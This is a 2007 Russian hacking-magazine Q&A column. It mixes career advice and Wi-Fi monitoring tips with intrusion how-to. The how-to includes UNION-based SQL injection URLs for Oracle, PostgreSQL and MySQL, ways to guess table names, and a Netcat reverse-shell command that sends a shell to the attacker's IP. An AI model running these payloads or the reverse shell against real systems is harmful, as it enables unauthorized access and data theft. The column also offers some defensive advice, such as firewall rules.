Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #105, СЕНТЯБРЬ 2007 г.

Hack-Faq

Евгений «Corwin» Ермаков

Хакер, номер #105, стр. 052

(hack-faq@gameland.ru)

Q: Передаю методом POST уязвимому приложению свои значения, но при этом не получаю результата. Почему?

A: Скорее всего, ты не изменяешь значение HTTP-заголовка Content-Lenght. В этом поле указана в символах длина данных, передаваемых методом POST. Таким образом, ты посылаешь свои данные, не изменив значение их объема в Content-Lenght, и те обрабатываются некорректно.

Q: Нужна утилита под никсы для мониторинга уровня сигнала Wi-Fi. Что подскажешь?

A: Для начала - Kismet, которая умеет определять уровень сигнала. Потом - утилита Wavemon со своим удобным графиком, затем - Wireless Power Meter и Wlanmeter.

Q: Ну а что из аналогичного софта есть под КПК?

A: Wi-Fi Manager, позволяющий посмотреть список доступных сетей и уровень сигнала от каждой из них. Wi-Fi Graph, которая позволяет моментально обнаруживать Wi-Fi сеть, находить ближайшую точку доступа и проводить мониторинг работы беспроводной сети.

К сожалению, на данный момент Wi-Fi Graph поддерживает только модули связи, использующие чипсет Prism, и КПК на базе некоторых других чипсетов.

Q: Я новичок в хакинге Wi-Fi, хочу спросить, как узнать, есть ли во взламываемой сети выход в интернет?

A: Поможет анализ трафика по протоколу DHCP и обнаружение в нем IP-адресов шлюзов. Задействуй установленный в программе Ettercap модуль triton.

Q: Нужно узнать все столбцы и таблицы в Oracle, но как?

A: В этой СУБД существуют таблицы, аналогичные INFORMATION_SCHEMA.TABLES и INFORMATION_SCHEMA.TABLES в MSSQL. Это таблицы SYS.USER_TABLES и SYS.USER_TAB_COLUMNS. Узнать из них названия таблиц и колонок так же легко, как и в MSSQL:

http://target.com/script.php?p=1 union select table_name from sys.user_tables--

А также:

http://target.com/script.php?p=1 union select column_name from sys.user_tab_columns--

Для выуживания всех колонок и таблиц поможет оператор rownum. Пример:

http://target.com/script.php?p=1 union select column_name from sys.user_tab_columns where rownum < 3--

Q: Не пойму, в чем трабл: пытаюсь вытащить через уязвимый скрипт названия таблиц и столбцов в PostgreSQL, но обламываюсь.

A: В старых версиях PostgreSQL нет таблицы INFORMATION_SCHEMA.TABLES/COLUMNS, хранящей названия всех таблиц и столбцов. Возможно, из-за этого и не получается вытащить данные. Но вместо нее имеется таблица PG_TABLES.

Пример:

http://target.com/script.php?p=1 union select TABLENAME from PG_TABLES/**/

Названия столбцов придется подбирать самому.

Q: Я прошу друга помочь мне в проведении SQL-injection в MySQL, а он спрашивает версию СУБД. В чем отличия версий MySQL?

A: На самом деле отличия очень значительные. Рассмотрим три ветки MySQL по порядку. Не будем затрагивать неважные для нас изменения в версиях.

  • MySQL 3.* - тут в принципе отсутствует оператор UNION.
  • MySQL 4.* - появляется оператор UNION.
  • MySQL 5.* - взломщики баз данных аплодируют программистам MySQL стоя - появилась таблица INFORMATION.SCHEMA_TABLES. Вытащить данные из мускула стало еще легче. Теперь процесс взлома аналогичен взлому MSSQL.

Q: Есть несколько простых вопросов по веб-взлому:

1. Точно знаю, что на сервере существует определенная директория, но, обращаясь к ней, я получаю только пустую страницу. В чем дело?

2. Не могу подобрать имена таблиц и колонок в БД. Как быть?

A: 1. Админы не забили на безопасность и создали файл .htaccess, ограничивающий просмотр диры по IP-адресу просматривающего.

2. Когда вопрос касается технического аспекта взлома, так просто сказать ничего нельзя. Ну а вообще, иногда названия переменных html-форм совпадают с реальными названиями таблиц/колонок. К примеру, имеем форму для входа в админку, смотрим ее код:

<div class="inputlabel">Имя</div>

<div><input title="Введите ваше имя "name="usrname" type="text" class="inputbox" size="15" /></div>

<div class="inputlabel">Пароль</div>

<div><input title="Здесь введите пароль "name="pass" type="password" class="inputbox" size="15" /></div>

Видим передаваемые скрипту параметры usrname и pass. Пытаемся использовать их в качестве имен колонок.

http://target.com/script.php?p=1 union select username, pass from table_name/*

Если известно название уязвимого движка и его сорцы есть в интернете, просто качаем их и смотрим файл, отвечающий за создание структуры БД (чаще всего это install.php). В таком скрипте прописаны команды для созданию таблиц и столбцов в базе данных.

К примеру, есть бажная CMS - Target CMS. Смотрим кусок кода из файла install.php:

...

CREATE TABLE accounts(

id INT PRIMARY KEY,

username CHAR(10),

password CHAR(8),

email CHAR(20)

...

Здесь мы видим структуру будущей БД - нужные нам названия таблиц и столбцов.

Q: Недавно встретил непонятный мне термин - reverse telnet. Что это?

A: Думаю, ты слышал о back-connect. Так вот это и есть тот самый реверсивный телнет. На всякий случай напомню, что back-connect - это инициализация telnet-соединения сервером к взломщику. Используется для обхода на взломанном сервере файрвола, препятствующего прямому соединению хакера с сервером. Для reverse telnet используются известная утилита Netcat, запущенная на ПК взломщика и на самом взламываемом сервере.

У себя в telnet мы пишем следующее:

nc -l -p 123

Так мы запускаем Netcat в режиме ожидания подключения к локальному порту 123.

На сервере, инициализирующем соединение, пишем:

nc -e /bin/sh НАШ_IP 123

Q: Ну а как мне, как админу, защититься от возможности подключения через обратный телнет?

A: Запретить через брандмауэр соединения, исходящие от внутреннего узла или web-сервера, а также правильно расставить chmod'ы на исполняемые файлы, позволив использовать их только владельцам.

Q: Хочу устроить своему процу что-то вроде benchmark'a по взлому MD5. Это возможно?

A: Конечно. Скачиваем MDCrack (http://membres.lycos.fr/mdcrack) и запускаем из консоли с ключом benchmark:

MDCrack-sse.exe --benchmark

Q: Скоро стану дипломированным спецом по инфобезу - появилась пара вопросов по трудоустройству:

1. Сейчас в Сети куча онлайн-тестов по самым разным областям, в том числе и по ИБ. Имеет ли смысл его проходить и будет ли он играть роль при трудоустройстве?

2. Какие конкретно факторы влияют на трудоустройство и заработную плату в области ИБ?

3. Какие конкретно навыки требуются при трудоустройстве специалистом по информационной безопасности?

A: 1. Сертификаты пройденных ру-тестирований в серьезных компаниях не котируются. Главную роль играют опыт работы в нужной для конторы области (ИБ, к примеру) и навыки, перечень которых также устанавливает контора-работодатель. Кроме того, в ру-сегменте мне не встречались качественные, проверенные временем тестирования по информационной безопасности. Но если у тебя есть опыт работы и необходимые знания, тогда сертификат может быть плюсом.

2. Как я уже сказал, соответствующие навыки и главное - опыт. Как правило, компаниям требуются сотрудники с опытом работы 1-3 года. Далее, большое значение имеют рекомендации с места прежней работы. Даже если сначала, при собеседовании, тебе никто не сказал, что требуется знание английского языка, все равно не стоит расслабляться - рано или поздно хорошее владение техническим инглишем обязательно понадобится.

3. Заранее скажу, что в большинстве случаев после окончания вуза (все зависит от специальности) многие навыки приходится осваивать самостоятельно.

Вот пример требований к кандидату в среднестатистической фирме, в которой открыта вакансия спеца по ИБ:

  • Языки программирования: C/C++, Assembler x86.
  • Знание сетевых технологий, сетевых протоколов на низком уровне, опыт разработки.
  • Знание архитектуры OS, Win32 API, особенностей загрузки модулей, организации heap и др.
  • Желательно: знание DDK, принципов низкоуровневых перехватов системных функций, работа с внутренними недокументированными структурами OS.
  • Знание IDA/SoftICE/WinDBG.
  • Умение работать с технической документацией, проведение «исследований».
  • Опыт по анализу существующих proof of concept (PoC) уязвимостей, exploits, shellcodes, leaktests (для firewall и HIPS).
  • Опыт поиска уязвимостей в пользовательских приложениях, системных сервисах, разработки демонстрационных эксплойтов под них.
  • Представление о HTML, DHTML, JavaScript, VBScript с точки зрения возможных угроз.
  • Желательно: опыт тестирования firewall на предмет безопасности.
  • Желательно: опыт обхода content-фильтров (http), IDS.
  • Желательно: опыт обхода существующих средств защиты разграничения доступа, HIPS, антивирусов, firewall.
  • Навыки reverse engineering и/или penetration testing, знание vx/rootkit-технологий.

Q: Хочу «отпугнуть» юных кул-хакеров от своего еще не протестированного php-движка. Возможно ли это?

A: Да. Я не буду вспоминать наипростейшие средства, которые уже были описаны в FAQ'e. Как вариант - обработка файлов с различными расширениями как PHP-скриптов:

AddType application/x-httpd-php .pl .asp .html .htm

Теперь можно указать нашим скриптам любое обозначенное выше расширение.

Содержание